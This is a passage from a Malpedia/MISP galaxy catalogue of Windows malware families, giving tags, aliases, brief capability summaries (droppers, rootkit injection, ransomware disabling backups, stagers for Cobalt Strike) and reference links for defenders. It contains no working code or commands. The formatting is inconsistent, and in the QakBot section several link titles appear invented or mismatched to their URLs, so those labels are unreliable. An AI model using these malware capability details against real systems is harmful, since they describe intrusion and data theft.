<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon">https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/">https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/</a></td>
</tr>
<tr>
<td><a href="https://threatmon.io/cybergun-technical-analysis-of-the-armageddons-infostealer/">https://threatmon.io/cybergun-technical-analysis-of-the-armageddons-infostealer/</a></td>
</tr>
</tbody>
</table>
PubNubRAT

The tag is: misp-galaxy:malpedia="PubNubRAT"

PubNubRAT is also known as:

*Table 3867. Table References*
Punkey POS

The tag is: `misp-galaxy:malpedia="Punkey POS"`

Punkey POS is also known as:

- poscardstealer
- pospunk
- punkeypos

Table 3868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos</a></td>
</tr>
<tr>
<td><a href="https://www.pandasecurity.com/mediacenter/malware/punkeypos/">https://www.pandasecurity.com/mediacenter/malware/punkeypos/</a></td>
</tr>
</tbody>
</table>

pupy (Windows)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: `misp-galaxy:malpedia="pupy (Windows)"`

pupy (Windows) is also known as:

- Patpoopy

Table 3869. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy">https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt">https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt</a></td>
</tr>
</tbody>
</table>
PureCrypter

According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021. The malware has been observed distributing a variety of remote access trojans and information stealers. The loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption, and obfuscation to evade antivirus software products. PureCrypter features provide persistence, injection, and defense mechanisms that are configurable in Google’s Protocol Buffer message format.

The tag is: misp-galaxy:malpedia="PureCrypter"

PureCrypter is also known as:

Table 3870. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter">https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter</a></td>
</tr>
</tbody>
</table>
**PureLocker**

ransomware

The tag is: `misp-galaxy:malpedia="PureLocker"`

PureLocker is also known as:

*Table 3871. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dad8c0e">https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dad8c0e</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md">https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md</a></td>
</tr>
</tbody>
</table>

**PurpleFox**

Purple Fox uses `msi.dll` function, 'MsiInstallProductA', to download and execute its payload. The payload is a .msi file that contains encrypted shellcode including 32-bit and 64-bit versions. Once executed, the system will be restarted and uses the 'PendingFileRenameOperations' registry to rename its components.

Upon restart, the rootkit capability of Purple Fox is invoked. It creates a suspended svchost process and injects a DLL that will create a driver with the rootkit capability.

The latest version of Purple Fox abuses open-source code to enable its rootkit components, which includes hiding and protecting its files and registry entries. It also abuses a file utility software to hide its DLL component, which deters reverse engineering.

The tag is: `misp-galaxy:malpedia="PurpleFox"`

PurpleFox is also known as:

*Table 3872. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox">https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox</a></td>
</tr>
</tbody>
</table>
PurpleWave

ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user's system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.

The author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.

The tag is: misp-galaxy:malpedia="PurpleWave"

PurpleWave is also known as:


**Pushdo**

Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.

The tag is: *misp-galaxy:malpedia="Pushdo"*

Pushdo is also known as:

---

**Putabmow**

The tag is: *misp-galaxy:malpedia="Putabmow"*

Putabmow is also known as:

---
puzzlemaker

The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack.

The tag is: *misp-galaxy:malpedia="puzzlemaker"*

puzzlemaker is also known as:

*Table 3876. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker">https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/">https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/</a></td>
</tr>
</tbody>
</table>

PvzOut

The tag is: *misp-galaxy:malpedia="PvzOut"*

PvzOut is also known as:

*Table 3877. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout">https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout</a></td>
</tr>
</tbody>
</table>

PwndLocker

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

The tag is: *misp-galaxy:malpedia="PwndLocker"*
PwndLocker is also known as:

- ProLock

Table 3878. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker</a></td>
</tr>
<tr>
<td><a href="https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/">https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/prolock_evolution">https://www.group-ib.com/blog/prolock_evolution</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/egregor-prolock/">https://www.intrinsec.com/egregor-prolock/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/operation-synctrek-e5013df8d167">https://medium.com/s2wlab/operation-synctrek-e5013df8d167</a></td>
</tr>
<tr>
<td><a href="https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji">https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji</a></td>
</tr>
<tr>
<td><a href="https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html">https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/prolock">https://www.group-ib.com/blog/prolock</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/">https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_oqv3dVjz5sJOS-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_oqv3dVjz5sJOS-3</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html">https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/">https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/</a></td>
</tr>
</tbody>
</table>
pwnpos

The tag is: misp-galaxy:malpedia="pwnpos"

pwnpos is also known as:

Table 3879. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos
- https://twitter.com/physicaldrive0/status/573109512145649664

PXRECVOWEIWOEI

Information stealer, based on strings it seems to target crypto currencies, instant messengers, and browser data.

The tag is: misp-galaxy:malpedia="PXRECVOWEIWOEI"

PXRECVOWEIWOEI is also known as:

Table 3880. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.pxrecvowiwoei
- https://twitter.com/suyog41/status/1688797716447432704

win.pyfiledel

Py2exe built worm propagating via USB drives, having wiper features embedded in the logic (based
on today's date being later than 2016-04-03 and existence of a file C:\txt.txt)

The tag is: `misp-galaxy:malpedia="win.pyfiledel"`

win.pyfiledel is also known as:

Table 3881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pyfiledel">https://malpedia.caad.fkie.fraunhofer.de/details/win.pyfiledel</a></td>
</tr>
<tr>
<td><a href="https://biebermalware.wordpress.com/2018/02/14/reversing-py2exe-binaries/">https://biebermalware.wordpress.com/2018/02/14/reversing-py2exe-binaries/</a></td>
</tr>
</tbody>
</table>

**Pykspa**

The tag is: `misp-galaxy:malpedia="Pykspa"`

Pykspa is also known as:

Table 3882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa">https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa</a></td>
</tr>
<tr>
<td><a href="https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/">https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=HfSQlC76_s4">https://www.youtube.com/watch?v=HfSQlC76_s4</a></td>
</tr>
<tr>
<td><a href="https://bin.re/blog/the-dga-of-pykspa/">https://bin.re/blog/the-dga-of-pykspa/</a></td>
</tr>
<tr>
<td><a href="https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/">https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/</a></td>
</tr>
<tr>
<td><a href="https://bin.re/blog/pykspas-inferior-dga-version/">https://bin.re/blog/pykspas-inferior-dga-version/</a></td>
</tr>
</tbody>
</table>

**PyLocky**

PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller.

The tag is: `misp-galaxy:malpedia="PyLocky"`

PyLocky is also known as:

- Locky Locker

Table 3883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky">https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky</a></td>
</tr>
</tbody>
</table>
PyXie

Full-featured Python RAT compiled into an executable.


The tag is: misp-galaxy:malpedia="PyXie"

PyXie is also known as:

* PyXie RAT

Table 3884. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie">https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/">https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-dupont">https://www.secureworks.com/research/threat-profiles/gold-dupont</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3</a></td>
</tr>
</tbody>
</table>
Qaccel

The tag is: misp-galaxy:malpedia="Qaccel"

Qaccel is also known as:

Table 3885. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel

Qadars

The tag is: misp-galaxy:malpedia="Qadars"

Qadars is also known as:

Table 3886. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars
https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan
https://securityintelligence.com/an-analysis-of-the-qadars-trojan/
https://www.johannesbader.ch/2016/04/the-dga-of-qadars/

QakBot

QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.
The tag is: misp-galaxy:malpedia="QakBot"

QakBot is also known as:

- Oakboat
- Pinkslipbot
- Qbot
- Quakbot

Table 3887. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html">https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-lagoon">http://www.secureworks.com/research/threat-profiles/gold-lagoon</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil/p/1">https://experience.mandiant.com/trending-evil/p/1</a></td>
</tr>
<tr>
<td><a href="https://www.circl.lu/pub/tr-64/">https://www.circl.lu/pub/tr-64/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/qbot-testing-malvertising-campaigns-3e2552bc69a">https://medium.com/walmartglobaltech/qbot-testing-malvertising-campaigns-3e2552bc69a</a></td>
</tr>
<tr>
<td><a href="https://hatching.io/blog/reversing-qakbot">https://hatching.io/blog/reversing-qakbot</a></td>
</tr>
<tr>
<td><a href="https://www.securityhomework.net/articles/qakbot_ccs_prioritization_and_new_record_types/qakbot_ccs_prioritization_and_new_record_types.php">https://www.securityhomework.net/articles/qakbot_ccs_prioritization_and_new_record_types/qakbot_ccs_prioritization_and_new_record_types.php</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/de/security-labs/qbot-malware-analysis">https://www.elastic.co/de/security-labs/qbot-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/2022/04/qbot-series-api-hashing/">https://www.malwarology.com/2022/04/qbot-series-api-hashing/</a></td>
</tr>
<tr>
<td><a href="https://quosecgmbh.github.io/blog/grap_qakbot_navigation.html">https://quosecgmbh.github.io/blog/grap_qakbot_navigation.html</a></td>
</tr>
<tr>
<td><a href="https://ibm.ent.box.com/s/hs5pcayhbbhjv8di5sqdpbbd88tsh89">https://ibm.ent.box.com/s/hs5pcayhbbhjv8di5sqdpbbd88tsh89</a></td>
</tr>
<tr>
<td><a href="https://www.malwarology.com/posts/2-qakbot-conf-extraction/">https://www.malwarology.com/posts/2-qakbot-conf-extraction/</a></td>
</tr>
<tr>
<td><a href="https://socprime.com/blog/qbot-malware-detection-old-dog-new-tricks/">https://socprime.com/blog/qbot-malware-detection-old-dog-new-tricks/</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
</tbody>
</table>
https://bin.re/blog/the-dga-of-qakbot/
https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7
https://madlabs.dsu.edu/madrid/blog/2021/04/30/qbot-analyzing-php-proxy-scripts-from-compromised-web-server/
https://blog.group-ib.com/prometheus-tds
https://www.secureworks.com/blog/law-enforcement-takes-down-qakbot
https://www.team-cymru.com/post/visualizing-qakbot-infrastructure
https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot
https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://twitter.com/TheDFIRReport/status/1361331598344478727
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.bitsight.com/blog/emotet-botnet-rises-again
<table>
<thead>
<tr>
<th>URL</th>
<th>Title</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.tidalcyber.com/blog/identifying-and-defending-against-qakbots-evolving-ttps">https://www.tidalcyber.com/blog/identifying-and-defending-against-qakbots-evolving-ttps</a></td>
<td>Evolving Qakbots and their techniques</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=4I0LF8Vm7SI">https://www.youtube.com/watch?v=4I0LF8Vm7SI</a></td>
<td>Qakbots and their evolving strategies</td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
<td>Ransomware Attacks and Qakbot</td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern">https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern</a></td>
<td>Analyzing Qakbot's Patterns</td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2023/02/06/qakbot-onenote-attacks/">https://news.sophos.com/en-us/2023/02/06/qakbot-onenote-attacks/</a></td>
<td>Qakbot Attacks on OneNote</td>
</tr>
<tr>
<td><a href="https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/">https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/</a></td>
<td>Qakbot's DGAs and Their Impact</td>
</tr>
<tr>
<td><a href="https://twitter.com/ChouchWard/status/1405168040254316547">https://twitter.com/ChouchWard/status/1405168040254316547</a></td>
<td>Qakbot's Twitter Activity</td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/shodan-censys-queries/">https://embee-research.ghost.io/shodan-censys-queries/</a></td>
<td>Qakbot's Footprints on Shodan</td>
</tr>
<tr>
<td><a href="https://blog.quosec.net/posts/grap_qakbot_strings/">https://blog.quosec.net/posts/grap_qakbot_strings/</a></td>
<td>Qakbot Strings and Their Impact</td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/">https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/</a></td>
<td>Qakbot Strikes with Quaknightmare</td>
</tr>
<tr>
<td><a href="https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks">https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks</a></td>
<td>Qakbot Banking Trojan</td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/">https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/</a></td>
<td>Qakbot Infection with Cobalt Strike</td>
</tr>
<tr>
<td><a href="https://syrion.me/malware/qakbot-bb-extractor/">https://syrion.me/malware/qakbot-bb-extractor/</a></td>
<td>Qakbot's BB Extractor Analysis</td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/">https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/</a></td>
<td>Wireshark Tutorial on Qakbot</td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/prolock_evolution">https://www.group-ib.com/blog/prolock_evolution</a></td>
<td>Prolock Evolution and Qakbot</td>
</tr>
<tr>
<td><a href="https://quosecgmbh.github.io/blog/grap_qakbot_strings.html">https://quosecgmbh.github.io/blog/grap_qakbot_strings.html</a></td>
<td>Qakbot Strings Blog Post</td>
</tr>
<tr>
<td>URL</td>
<td>Title</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/blog/post/2023/04/18/automating-qakbot-detection-at-scale-with/">https://www.rapid7.com/blog/post/2023/04/18/automating-qakbot-detection-at-scale-with/</a></td>
<td>Automating Qakbot Detection at Scale With</td>
</tr>
<tr>
<td><a href="https://d01a.github.io/pikabot/">https://d01a.github.io/pikabot/</a></td>
<td>Pikabot</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html">https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html</a></td>
<td>Squirrelwaffle Emerges</td>
</tr>
<tr>
<td><a href="https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources">https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources</a></td>
<td>Qakbot Resources</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/following-the-lnk-metadata-trail">https://blog.talosintelligence.com/following-the-lnk-metadata-trail</a></td>
<td>Following the Lnk Metadata Trail</td>
</tr>
<tr>
<td><a href="https://twitter.com/alex_il/status/1384094623270727685">https://twitter.com/alex_il/status/1384094623270727685</a></td>
<td>Twitter</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html">https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html</a></td>
<td>Qbot on the Rise</td>
</tr>
<tr>
<td><a href="https://twitter.com/elisalem9/status/1381859965875462144">https://twitter.com/elisalem9/status/1381859965875462144</a></td>
<td>Twitter</td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/egregor-prolock/">https://www.intrinsec.com/egregor-prolock/</a></td>
<td>Intrinsec</td>
</tr>
<tr>
<td><a href="https://github.com/0xThiebaut/PCAPeek/">https://github.com/0xThiebaut/PCAPeek/</a></td>
<td>PCAPeek</td>
</tr>
<tr>
<td><a href="https://twitter.com/tylabs/status/1462195377277476871">https://twitter.com/tylabs/status/1462195377277476871</a></td>
<td>Twitter</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=M22c1JgpG-U">https://www.youtube.com/watch?v=M22c1JgpG-U</a></td>
<td>YouTube</td>
</tr>
<tr>
<td><a href="https://n1ght-w0lf.github.io/malware%20analysis/qbot-banking-trojan/">https://n1ght-w0lf.github.io/malware%20analysis/qbot-banking-trojan/</a></td>
<td>Malware Analysis Qbot Banking Trojan</td>
</tr>
<tr>
<td>URL</td>
<td></td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/binref/refinery/blob/master/tutorials/tbr-files.v0x06.Qakbot.Decoder.ipynb">https://github.com/binref/refinery/blob/master/tutorials/tbr-files.v0x06.Qakbot.Decoder.ipynb</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28568">https://isc.sans.edu/diary/rss/28568</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28448">https://isc.sans.edu/diary/rss/28448</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/embee_research/status/1592067841154756610?s=20">https://twitter.com/embee_research/status/1592067841154756610?s=20</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/qbot-malware-analysis">https://www.elastic.co/security-labs/qbot-malware-analysis</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/spotting-malicious-excel4-macros">https://blog.reversinglabs.com/blog/spotting-malicious-excel4-macros</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-lagoon">https://www.secureworks.com/research/threat-profiles/gold-lagoon</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-november-2021/">https://redcanary.com/blog/intelligence-insights-november-2021/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/03/31/continuation-methods-and-techniques-observed-in-operations-post-the-leaks/">https://research.nccgroup.com/2022/03/31/continuation-methods-and-techniques-observed-in-operations-post-the-leaks/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/redcanary/status/1334224861628039169">https://twitter.com/redcanary/status/1334224861628039169</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/qakbot-affiliated-actors-distribute-ransom/">https://blog.talosintelligence.com/qakbot-affiliated-actors-distribute-ransom/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/">https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=gk7fCC5RiAQ">https://www.youtube.com/watch?v=gk7fCC5RiAQ</a></td>
<td></td>
</tr>
</tbody>
</table>
QHost

The tag is: **misp-galaxy:malpedia="QHost"**

QHost is also known as:

- Tolouge

**Table 3888. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost">https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost</a></td>
</tr>
</tbody>
</table>

QtBot

The tag is: **misp-galaxy:malpedia="QtBot"**

QtBot is also known as:

- qtpoint

**Table 3889. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot</a></td>
</tr>
</tbody>
</table>

QuantLoader

The tag is: **misp-galaxy:malpedia="QuantLoader"**

QuantLoader is also known as:

**Table 3890. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
</tbody>
</table>
QUARTERRIG

A stager used by APT29 to download and run CobaltStrike. Here, MUSKYBEAT refers to the in-memory dropper component, while STATICNOISE is the final payload / downloader.

The tag is: *misp-galaxy:malpedia=* "QUARTERRIG"

QUARTERRIG is also known as:

- MUSKYBEAT
- STATICNOISE

Table 3891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
